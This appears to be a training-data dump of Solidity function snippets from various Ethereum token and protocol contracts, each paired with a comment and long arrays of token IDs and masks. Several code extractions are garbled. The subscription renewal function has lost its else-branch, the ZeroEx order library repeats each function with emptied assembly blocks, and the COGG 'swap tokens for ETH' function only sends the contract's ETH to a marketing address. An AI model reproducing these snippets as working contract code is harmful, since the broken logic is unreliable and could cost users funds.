[ 1, 565, 445, 1983, 41, 1303, 329, 12, 2867, 2236, 13, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 425, 1303, 329, 12, 4631, 2934, 1289, 12, 18688, 407, 41, 1303, 329, 12, 4631, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xeF76b289F5c925395379Ee950Ec1daF44f812af5/sources/COGG.sol
swap tokens for ETH
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { payable(marketingAddress).transfer(address(this).balance); emit SwapAndLiquify(contractTokenBalance, address(this).balance); }
4,350,609
[ 1, 22270, 2430, 364, 512, 2455, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 377, 445, 7720, 1876, 48, 18988, 1164, 12, 11890, 5034, 6835, 1345, 13937, 13, 3238, 2176, 1986, 12521, 288, 203, 377, 203, 203, 3639, 8843, 429, 12, 3355, 21747, 1887, 2934, 13866, 12, 2867, 12, 2211, 2934, 12296, 1769, 203, 540, 203, 3639, 3626, 12738, 1876, 48, 18988, 1164, 12, 16351, 1345, 13937, 16, 1758, 12, 2211, 2934, 12296, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xE5D3b6f8CC5D5D5dD2c7F0a0E4d04dF8A93DdA27/sources/src/subscription/abstracts/ERC5643.sol
@notice Checks whether the subscription is renewable. @dev This Internal function should be implemented in derived contracts to determine if renewability should be disabled for all or some tokens. @return A boolean value indicating whether the subscription can be renewed (true) or not (false). @notice Gets the price to renew a subscription for a specified `duration` in seconds. @dev This Internal function should be implemented in derived contracts to calculate the renewal price for the subscription. @param duration The duration (in seconds) for which the subscription is to be extended. @return The price (in native currency) required to renew the subscription for the given duration.//*/ @notice Updates the expiration timestamp for a subscription represented by the given `tokenId`. @dev this function won't check that the tokenId is valid, responsibility is delegated to the caller. @param tokenId The unique identifier of the subscription token. @param duration The duration (in seconds) to extend the subscription from the current timestamp. Check if the current subscription is new or has expired If current subscription not expired (extend)
function _isRenewable() internal view virtual returns (bool); function _getRenewalPrice( uint64 duration ) internal view virtual returns (uint256); INTERNAL NON-CONSTANT FUNCTIONS function _updateSubscriptionExpiration( uint256 tokenId, uint64 duration ) internal virtual { uint64 currentExpiration = _expirations[tokenId]; uint64 newExpiration; if ((currentExpiration == 0) || (currentExpiration < block.timestamp)) { newExpiration = uint64(block.timestamp) + duration; if (!_isRenewable()) { revert SubscriptionNotRenewable(); } newExpiration = currentExpiration + duration; } _expirations[tokenId] = newExpiration; emit SubscriptionUpdate(tokenId, newExpiration); }
11,604,396
[ 1, 4081, 2856, 326, 4915, 353, 15723, 429, 18, 225, 1220, 3186, 445, 1410, 506, 8249, 316, 10379, 20092, 358, 4199, 309, 15723, 2967, 1410, 506, 5673, 364, 777, 578, 2690, 2430, 18, 327, 432, 1250, 460, 11193, 2856, 326, 4915, 848, 506, 15723, 329, 261, 3767, 13, 578, 486, 261, 5743, 2934, 225, 11881, 326, 6205, 358, 15723, 279, 4915, 364, 279, 1269, 1375, 8760, 68, 316, 3974, 18, 225, 1220, 3186, 445, 1410, 506, 8249, 316, 10379, 20092, 358, 4604, 326, 15723, 287, 6205, 364, 326, 4915, 18, 225, 3734, 1021, 3734, 261, 267, 3974, 13, 364, 1492, 326, 4915, 353, 358, 506, 7021, 18, 327, 1021, 6205, 261, 267, 6448, 5462, 13, 1931, 358, 15723, 326, 4915, 364, 326, 864, 3734, 18, 28111, 225, 15419, 326, 7686, 2858, 364, 279, 4915, 10584, 635, 326, 864, 1375, 2316, 548, 8338, 225, 333, 445, 8462, 1404, 866, 716, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 389, 291, 24058, 429, 1435, 2713, 1476, 5024, 1135, 261, 6430, 1769, 203, 203, 565, 445, 389, 588, 24058, 287, 5147, 12, 203, 3639, 2254, 1105, 3734, 203, 565, 262, 2713, 1476, 5024, 1135, 261, 11890, 5034, 1769, 203, 203, 5397, 18139, 18708, 17, 25878, 13690, 55, 203, 203, 565, 445, 389, 2725, 6663, 12028, 12, 203, 3639, 2254, 5034, 1147, 548, 16, 203, 3639, 2254, 1105, 3734, 203, 565, 262, 2713, 5024, 288, 203, 3639, 2254, 1105, 783, 12028, 273, 389, 2749, 481, 1012, 63, 2316, 548, 15533, 203, 3639, 2254, 1105, 394, 12028, 31, 203, 203, 3639, 309, 14015, 2972, 12028, 422, 374, 13, 747, 261, 2972, 12028, 411, 1203, 18, 5508, 3719, 288, 203, 5411, 394, 12028, 273, 2254, 1105, 12, 2629, 18, 5508, 13, 397, 3734, 31, 203, 5411, 309, 16051, 67, 291, 24058, 429, 10756, 288, 203, 7734, 15226, 12132, 1248, 24058, 429, 5621, 203, 5411, 289, 203, 5411, 394, 12028, 273, 783, 12028, 397, 3734, 31, 203, 3639, 289, 203, 203, 3639, 389, 2749, 481, 1012, 63, 2316, 548, 65, 273, 394, 12028, 31, 203, 203, 3639, 3626, 12132, 1891, 12, 2316, 548, 16, 394, 12028, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x7A89C0521604008C93c97Aa76950198bCa73d933/sources/Formatter.sol
Bail? (no reverse resolver)
if (success == false || resolver == 0x0) { return (false, name); }
5,192,243
[ 1, 38, 671, 35, 261, 2135, 4219, 5039, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 309, 261, 4768, 422, 629, 747, 5039, 422, 374, 92, 20, 13, 288, 327, 261, 5743, 16, 508, 1769, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0x9A142E2E35E06d183d1Fe39378b6b075e9d13962/sources/FeePool.sol
Address won't be able to claim fees if it is too far below the target c-ratio. It will need to burn Pynths then try claiming again. Get the claimingAddress available fees and rewards Record the address has claimed for this period Record the fee payment in our recentFeePeriods Send them their fees Record the reward payment in our recentFeePeriods Send them their rewards
function _claimFees(address claimingAddress) internal returns (bool) { uint rewardsPaid = 0; uint feesPaid = 0; uint availableFees; uint availableRewards; (bool feesClaimable, bool anyRateIsInvalid) = _isFeesClaimableAndAnyRatesInvalid(claimingAddress); require(feesClaimable, "C-Ratio below penalty threshold"); require(!anyRateIsInvalid, "A Pynth or PERI rate is invalid"); (availableFees, availableRewards) = feesAvailable(claimingAddress); require( availableFees > 0 || availableRewards > 0, "No fees or rewards available for period, or fees already claimed" ); _setLastFeeWithdrawal(claimingAddress, _recentFeePeriodsStorage(1).feePeriodId); if (availableFees > 0) { feesPaid = _recordFeePayment(availableFees); _payFees(claimingAddress, feesPaid); } if (availableRewards > 0) { rewardsPaid = _recordRewardPayment(availableRewards); _payRewards(claimingAddress, rewardsPaid); } emitFeesClaimed(claimingAddress, feesPaid, rewardsPaid); return true; }
3,423,142
[ 1, 1887, 8462, 1404, 506, 7752, 358, 7516, 1656, 281, 309, 518, 353, 4885, 10247, 5712, 326, 1018, 276, 17, 9847, 18, 2597, 903, 1608, 358, 18305, 453, 878, 451, 87, 1508, 775, 7516, 310, 3382, 18, 968, 326, 7516, 310, 1887, 2319, 1656, 281, 471, 283, 6397, 5059, 326, 1758, 711, 7516, 329, 364, 333, 3879, 5059, 326, 14036, 5184, 316, 3134, 8399, 14667, 30807, 2479, 2182, 3675, 1656, 281, 5059, 326, 19890, 5184, 316, 3134, 8399, 14667, 30807, 2479, 2182, 3675, 283, 6397, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 14784, 2954, 281, 12, 2867, 7516, 310, 1887, 13, 2713, 1135, 261, 6430, 13, 288, 203, 3639, 2254, 283, 6397, 16507, 350, 273, 374, 31, 203, 3639, 2254, 1656, 281, 16507, 350, 273, 374, 31, 203, 3639, 2254, 2319, 2954, 281, 31, 203, 3639, 2254, 2319, 17631, 14727, 31, 203, 203, 3639, 261, 6430, 1656, 281, 9762, 429, 16, 1426, 1281, 4727, 2520, 1941, 13, 273, 389, 291, 2954, 281, 9762, 429, 1876, 2961, 20836, 1941, 12, 14784, 310, 1887, 1769, 203, 203, 3639, 2583, 12, 3030, 281, 9762, 429, 16, 315, 39, 17, 8541, 5712, 23862, 5573, 8863, 203, 203, 3639, 2583, 12, 5, 2273, 4727, 2520, 1941, 16, 315, 37, 453, 878, 451, 578, 10950, 45, 4993, 353, 2057, 8863, 203, 203, 3639, 261, 5699, 2954, 281, 16, 2319, 17631, 14727, 13, 273, 1656, 281, 5268, 12, 14784, 310, 1887, 1769, 203, 203, 3639, 2583, 12, 203, 5411, 2319, 2954, 281, 405, 374, 747, 2319, 17631, 14727, 405, 374, 16, 203, 5411, 315, 2279, 1656, 281, 578, 283, 6397, 2319, 364, 3879, 16, 578, 1656, 281, 1818, 7516, 329, 6, 203, 3639, 11272, 203, 203, 3639, 389, 542, 3024, 14667, 1190, 9446, 287, 12, 14784, 310, 1887, 16, 389, 20872, 14667, 30807, 3245, 12, 21, 2934, 21386, 5027, 548, 1769, 203, 203, 3639, 309, 261, 5699, 2954, 281, 405, 374, 13, 288, 203, 5411, 1656, 281, 16507, 350, 273, 389, 3366, 14667, 6032, 12, 5699, 2954, 281, 1769, 203, 203, 5411, 389, 10239, 2954, 281, 12, 14784, 310, 1887, 2 ]
/* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; pragma experimental "ABIEncoderV2"; import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { LibBytes } from "../../../external/0x/LibBytes.sol"; import { LibOrder } from "../../../external/0x/Exchange/libs/LibOrder.sol"; /** * @title ZeroExOrderLibrary * @author Set Protocol * * This library contains functions and structs to assist with parsing 0x wrapper order data * * The layout of each wrapper order is in the table below. "ordersData" always refers to one or more byte strings, * each containing all of these columns concatenated together. Each of the parse methods (header/body) below takes * the entire ordersData along with an offset to parse the next (header/body) specified by the offset. This saves * from having to do redudant memCopies to isolate the bytes containing the data to parse. * * | Section | Data | Offset | Length | Contents | * |---------|-----------------------|---------------------|-----------------|-------------------------------| * | Header | signatureLength | 0 | 32 | Num Bytes of 0x Signature | * | | fillAmount | 32 | 64 | Taker asset fill amouint | * | Body | signature | 64 | signatureLength | Signature in bytes | * | | order | 64+signatureLength | 384 | ZeroEx Order | */ library ZeroExOrderLibrary { using LibBytes for bytes; using SafeMath for uint256; // ============ Structs ============ struct OrderHeader { uint256 signatureLength; uint256 fillAmount; bytes signature; } struct ZeroExOrderInformation { OrderHeader header; LibOrder.Order order; address makerToken; address takerToken; } // ============ Internal Functions ============ /* * Parses the header from order byte array * Can only be called by authorized contracts. * * @param _ordersData Byte array of order data * @param _offset Offset to start scanning for order header * @return OrderHeader Struct containing wrapper order header data */ function parseOrderHeader( bytes memory _ordersData, uint256 _offset ) internal pure returns (OrderHeader memory) { OrderHeader memory header; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { mstore(header, mload(orderDataStart)) // signatureLength mstore(add(header, 32), mload(add(orderDataStart, 32))) // fillAmount } return header; } /* * Parses the bytes array into ZeroEx order * * | Data | Location | * |----------------------------|-------------------------------| * | makerAddress | 0 | * | takerAddress | 32 | * | feeRecipientAddress | 64 | * | senderAddress | 96 | * | makerAssetAmount | 128 | * | takerAssetAmount | 160 | * | makerFee | 192 | * | takerFee | 224 | * | expirationTimeSeconds | 256 | * | salt | 288 | * | makerToken | 320 | * | takerToken | 352 | * * @param _ordersData Byte array of (multiple) 0x wrapper orders * @param _offset Offset to start scanning for 0x order body * @return LibOrder.Order 0x order struct */ function parseZeroExOrder( bytes memory _ordersData, uint256 _offset ) internal pure returns (LibOrder.Order memory) { LibOrder.Order memory order; address makerTokenAddress; address takerTokenAddress; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { mstore(order, mload(orderDataStart)) // maker mstore(add(order, 32), mload(add(orderDataStart, 32))) // taker mstore(add(order, 64), mload(add(orderDataStart, 64))) // feeRecipient mstore(add(order, 96), mload(add(orderDataStart, 96))) // senderAddress mstore(add(order, 128), mload(add(orderDataStart, 128))) // makerAssetAmount mstore(add(order, 160), mload(add(orderDataStart, 160))) // takerAssetAmount mstore(add(order, 192), mload(add(orderDataStart, 192))) // makerFee mstore(add(order, 224), mload(add(orderDataStart, 224))) // takerFee mstore(add(order, 256), mload(add(orderDataStart, 256))) // expirationUnixTimestampSec mstore(add(order, 288), mload(add(orderDataStart, 288))) // salt makerTokenAddress := mload(add(orderDataStart, 320)) // makerToken takerTokenAddress := mload(add(orderDataStart, 352)) // takerToken } order.makerAssetData = tokenAddressToAssetData(makerTokenAddress); order.takerAssetData = tokenAddressToAssetData(takerTokenAddress); return order; } /* * Parses the maker token from the ZeroEx order * * @param _ordersData Byte array of (multiple) 0x wrapper orders * @param _offset Offset to start scanning for 0x order body * @return makerTokenAddress */ function parseMakerTokenFromZeroExOrder( bytes memory _ordersData, uint256 _offset ) internal pure returns (address) { address makerTokenAddress; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { makerTokenAddress := mload(add(orderDataStart, 320)) // makerToken } return makerTokenAddress; } /* * Parses the taker token from the ZeroEx order * * @param _ordersData Byte array of (multiple) 0x wrapper orders * @param _offset Offset to start scanning for 0x order body * @return takerTokenAddress */ function parseTakerTokenFromZeroExOrder( bytes memory _ordersData, uint256 _offset ) internal pure returns (address) { address takerTokenAddress; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { takerTokenAddress := mload(add(orderDataStart, 352)) // takerToken } return takerTokenAddress; } /* * Encodes an ERC20 token address into 0x asset data * * @param _tokenAddress Address of token to encode into 0x asset data * @return bytes 0x asset data representation of a token */ function tokenAddressToAssetData( address _tokenAddress ) private pure returns (bytes memory) { bytes memory result = new bytes(36); // padded version of bytes4(keccak256("ERC20Token(address)")); bytes32 selector = 0xf47261b000000000000000000000000000000000000000000000000000000000; assembly { mstore(add(result, 32), selector) mstore(add(result, 36), _tokenAddress) } return result; } }
* @title ZeroExOrderLibrary @author Set Protocol This library contains functions and structs to assist with parsing 0x wrapper order data The layout of each wrapper order is in the table below. "ordersData" always refers to one or more byte strings, each containing all of these columns concatenated together. Each of the parse methods (header/body) below takes the entire ordersData along with an offset to parse the next (header/body) specified by the offset. This saves from having to do redudant memCopies to isolate the bytes containing the data to parse. | Section | Data | Offset | Length | Contents | |---------|-----------------------|---------------------|-----------------|-------------------------------| | Header | signatureLength | 0 | 32 | Num Bytes of 0x Signature | | | fillAmount | 32 | 64 | Taker asset fill amouint | | Body | signature | 64 | signatureLength | Signature in bytes | | | order | 64+signatureLength | 384 | ZeroEx Order |/ ============ Structs ============
library ZeroExOrderLibrary { using LibBytes for bytes; using SafeMath for uint256; Copyright 2018 Set Labs Inc. import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { LibBytes } from "../../../external/0x/LibBytes.sol"; import { LibOrder } from "../../../external/0x/Exchange/libs/LibOrder.sol"; struct OrderHeader { uint256 signatureLength; uint256 fillAmount; bytes signature; } struct ZeroExOrderInformation { OrderHeader header; LibOrder.Order order; address makerToken; address takerToken; } function parseOrderHeader( bytes memory _ordersData, uint256 _offset ) internal pure returns (OrderHeader memory) { OrderHeader memory header; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { } return header; } function parseOrderHeader( bytes memory _ordersData, uint256 _offset ) internal pure returns (OrderHeader memory) { OrderHeader memory header; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { } return header; } function parseZeroExOrder( bytes memory _ordersData, uint256 _offset ) internal pure returns (LibOrder.Order memory) { LibOrder.Order memory order; address makerTokenAddress; address takerTokenAddress; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { } order.makerAssetData = tokenAddressToAssetData(makerTokenAddress); order.takerAssetData = tokenAddressToAssetData(takerTokenAddress); return order; } function parseZeroExOrder( bytes memory _ordersData, uint256 _offset ) internal pure returns (LibOrder.Order memory) { LibOrder.Order memory order; address makerTokenAddress; address takerTokenAddress; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { } order.makerAssetData = tokenAddressToAssetData(makerTokenAddress); order.takerAssetData = tokenAddressToAssetData(takerTokenAddress); return order; } function parseMakerTokenFromZeroExOrder( bytes memory _ordersData, uint256 _offset ) internal pure returns (address) { address makerTokenAddress; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { } return makerTokenAddress; } function parseMakerTokenFromZeroExOrder( bytes memory _ordersData, uint256 _offset ) internal pure returns (address) { address makerTokenAddress; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { } return makerTokenAddress; } function parseTakerTokenFromZeroExOrder( bytes memory _ordersData, uint256 _offset ) internal pure returns (address) { address takerTokenAddress; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { } return takerTokenAddress; } function parseTakerTokenFromZeroExOrder( bytes memory _ordersData, uint256 _offset ) internal pure returns (address) { address takerTokenAddress; uint256 orderDataStart = _ordersData.contentAddress().add(_offset); assembly { } return takerTokenAddress; } function tokenAddressToAssetData( address _tokenAddress ) private pure returns (bytes memory) { bytes memory result = new bytes(36); bytes32 selector = 0xf47261b000000000000000000000000000000000000000000000000000000000; assembly { mstore(add(result, 32), selector) mstore(add(result, 36), _tokenAddress) } return result; } function tokenAddressToAssetData( address _tokenAddress ) private pure returns (bytes memory) { bytes memory result = new bytes(36); bytes32 selector = 0xf47261b000000000000000000000000000000000000000000000000000000000; assembly { mstore(add(result, 32), selector) mstore(add(result, 36), _tokenAddress) } return result; } }
6,479,124
[ 1, 7170, 424, 2448, 9313, 225, 1000, 4547, 1220, 5313, 1914, 4186, 471, 8179, 358, 1551, 376, 598, 5811, 374, 92, 4053, 1353, 501, 1021, 3511, 434, 1517, 4053, 1353, 353, 316, 326, 1014, 5712, 18, 315, 9972, 751, 6, 3712, 21368, 358, 1245, 578, 1898, 1160, 2064, 16, 1517, 4191, 777, 434, 4259, 2168, 22080, 9475, 18, 8315, 434, 326, 1109, 2590, 261, 3374, 19, 3432, 13, 5712, 5530, 326, 7278, 11077, 751, 7563, 598, 392, 1384, 358, 1109, 326, 1024, 261, 3374, 19, 3432, 13, 1269, 635, 326, 1384, 18, 1220, 14649, 628, 7999, 358, 741, 1755, 1100, 970, 1663, 15670, 358, 30630, 326, 1731, 4191, 326, 501, 358, 1109, 18, 571, 10092, 571, 1910, 5375, 571, 9874, 2868, 571, 11311, 1850, 571, 21290, 8227, 571, 571, 8567, 96, 1271, 17082, 96, 1271, 13465, 96, 1271, 17, 96, 1271, 18753, 96, 571, 4304, 225, 571, 3372, 1782, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
